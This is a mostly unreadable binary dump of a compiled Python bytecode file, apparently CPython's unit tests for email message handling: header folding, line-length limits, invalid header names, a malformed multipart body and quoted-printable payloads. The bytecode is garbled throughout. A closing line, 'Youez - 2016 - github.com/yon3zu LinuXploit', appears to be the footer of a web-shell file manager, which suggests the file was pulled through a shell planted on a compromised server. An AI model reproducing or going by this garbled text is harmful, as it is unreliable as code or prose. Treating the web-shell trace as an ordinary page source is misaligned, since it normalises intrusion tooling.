UQ*UQ*2P!rw)rr�HTTPrrlr)r*rss&   r�,test_folding_with_long_nospace_http_policy_1�=TestEmailMessage.test_folding_with_long_nospace_http_policy_1�rrc	��QFD7oUOUQ59^tt^2UOU2PPP2J9	P!)%fhJN9h)r��max_line_length)rN)�subTest�#do_test_no_wrapping_max_line_length)rrSs& r� test_no_wrapping_max_line_length�1TestEmailMessage.test_no_wrapping_max_line_length�s=���A����a��0�0��8�8��;�1�0��0�0�0�s�A	�A
�A
c���UOU2[OOUQ5oQ
oQo[	UQ5oQUQ$QUQ$V5Q$UOU2UO
2oUOQUQ2[U[OQ5oUOUQ*U2UO2O2OQ	2oUOV�2P!)r�r$za@ex.comr�zb@ex.comrrKs=
z+Found fold indicator; wrapping not disabled�
�dSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS�dBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB)
rrr)r~rrlrlr(rr*rMri�rstrip)	r�falsey�pol�subj�bodyrQ�raw�parsed�parsed_bodys	&&       rr��4TestEmailMessage.do_test_no_wrapping_max_line_length�s������� ��n�n�"�"�6�"�:�������#�&�� ��F����D�	��I��������l�l�n�������F�	H�$�C����?������	�*�D�1��o�o�'�3�3�5�<�<�T�B������+rc���,QNo[O[O1FDIo[O[O
1FD!oSFDvqEUO
V#VE2J	J#	JK	P!)�Invalid Header))r�zcontains space)z
Tab	Headerzcontains tab)zColon:Headerzcontains colon)rz
Empty name)z
 LeadingSpacezstarts with space)zTrailingSpace zends with space)zHeaderzNon-ASCII character)uHeader€zExtended ASCII)rr)rxr�__setitem__�
add_header�do_test_invalid_header_names)r�invalid_headers�email_policy�setterr�r�s&     r�test_invalid_header_names�*TestEmailMessage.test_invalid_header_names	sZ��	
��$�^�^�V�_�_�=�L�'�3�3�\�5L�5L�M��#2�K�D��5�5�l�D�X�$3�N�>rc	�h�UOVV4Q59^tt^2[UQ5oQoUO[U29^tt^2oUVSU2PPP2UO	U8[WO22PPP2P!)%fhKA9h)%fhP!9h))rr�r�r�r$z'(?i)(?=.*invalid)(?=.*header)(?=.*name))r�r�assertRaisesRegexrr�r�r�)rrr�r�r�r��patternrys&&&&&   rr��-TestEmailMessage.do_test_invalid_header_namess���
�\�\��T�\�
O�
O�"�&�1�G�@�G��'�'�
�G�<�<����u�-�=��M�M�T�H�s�2�<�<�'8�9�P�
O�=�<��P�
O�
O�s/�-B �

B
	�/B �
B
�B
�B � B1	�)B1	c�v�[OQ2oUOU2oUO2P!)ztest for bpo-42892a'            Message-ID: <674392CA.4347091@email.au>
            Date: Wed, 08 Nov 2017 08:50:22 +0700
            From: Foo Bar <email@email.au>
            MIME-Version: 1.0
            To: email@email.com <email@email.com>
            Subject: Python Email
            Content-Type: multipart/mixed;
            boundary="------------879045806563892972123996"
            X-Global-filter:Messagescannedforspamandviruses:passedalltests

            This is a multi-part message in MIME format.
            --------------879045806563892972123996
            Content-Type: text/plain; charset=ISO-8859-1; format=flowed
            Content-Transfer-Encoding: 7bit

            Your message is ready to be sent with the following file or link
            attachments:
            XU89 - 08.11.2017
            )r'r(rrM)rrQr s&  r�test_get_body_malformed�(TestEmailMessage.test_get_body_malformed!s0���o�o����(
�M�M�#���	
�
�
�rc���[Q2oUO2oUOQQ2UOU2UO	UOP	Q5U2P!)sSome payloadzContent-Transfer-Encodingzquoted-printabler)�
memoryviewr�r�r�r*r�)rr�r s&  r�5test_get_bytes_payload_with_quoted_printable_encoding�FTestEmailMessage.test_get_bytes_payload_with_quoted_printable_encoding<sS���_�-����� ��	���0�2D�E�	�
�
�g��������d��3�W�=rr)#r.r/r0r1rr�r)r0r2r<r@rErHrLrQrTrWrZr]r`rcrfrnrtryr}r�r�r�r�r�r�r�r2r3r4s@rr"r"
s������G�3�(�(�3�E��@�>�:�
Q�"Q� Q� R� @�+� O�"M�(	D�D�D�D�D�<�,�(Y� :��6>�>rr"c�2`�\sQsQsn\sQsQsQsUs	P!)�TestMIMEPartiFc��UOP2oUO2oUOQU2UOUQ5UOQU2P!)rr&rq)rrnr(rlr�s&  r�*test_set_content_does_not_add_MIME_Version�7TestMIMEPart.test_set_content_does_not_add_MIME_VersionLsL���M�M�"���
�
%�
%�
'�������+�	�
�
�b�
�)������+rc��[[OQ2[OQ5oUO2oUO
[U2,2P!)zT        Content-Type: multipart/mixed; charset="utf-8"

        sample text
        r$)rr'r(rr)rXr*rK)rrQrOs&  r�/test_string_payload_with_multipart_content_type�<TestMIMEPart.test_string_payload_with_multipart_content_typeSsJ��!�(�/�/�3�#
��^�^�	%��
�*�*�,������k�*�B�/rr)
r.r/r0r1rr�r�r�r2r3r4s@rr�r�Fs�����G�,�0�0rr��__main__)r'�unittest�emailrrr�
email.messagerr�test.test_emailrrrrr7r"r�r.�mainrrr�<module>r�s����A�A�0�7�A�/�=�/�2�c,�c,��c,�Lv>�+�]�v>�r	0�'��0�.�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit